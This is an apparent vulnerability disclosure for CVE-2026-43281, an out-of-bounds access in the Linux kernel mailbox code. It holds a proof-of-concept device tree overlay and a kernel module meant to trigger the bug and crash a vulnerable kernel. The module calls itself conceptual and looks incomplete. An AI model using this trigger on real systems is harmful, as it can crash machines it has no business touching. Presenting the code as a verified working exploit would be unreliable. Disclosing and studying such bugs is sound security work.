CVE-2026-43281: Linux内核邮箱越界访问漏洞

/* * PoC for CVE-2026-43281 * This demonstrates the Device Tree configuration required to trigger the OOB access. * Requires a vulnerable Linux kernel and a mailbox controller using default xlate. */ /dts-v1/; /plugin/; / { compatible = "vendor,board"; fragment@0 { target-path = "/"; __overlay__ { vulnerable_mbox: mailbox@10000000 { compatible = "vendor,vulnerable-controller"; reg = <0x10000000 0x1000>; #mbox-cells = <0>; /* Trigger condition: 0 cells */ /* No xlate function provided by driver */ }; }; }; }; /* * Kernel module to attempt using the mailbox (Conceptual) */ #include <linux/module.h> #include <linux/of.h> #include <linux/mailbox_client.h> static int __init poc_init(void) { struct device_node *np; struct mbox_client cl; struct mbox_chan *chan; memset(&cl, 0, sizeof(cl)); // This call triggers fw_mbox_index_xlate with args_count=0 // leading to out-of-bounds access on vulnerable kernels. np = of_find_compatible_node(NULL, NULL, "vendor,vulnerable-controller"); if (np) { chan = mbox_request_channel(&cl, 0); // Check result or observe crash } return 0; } module_init(poc_init);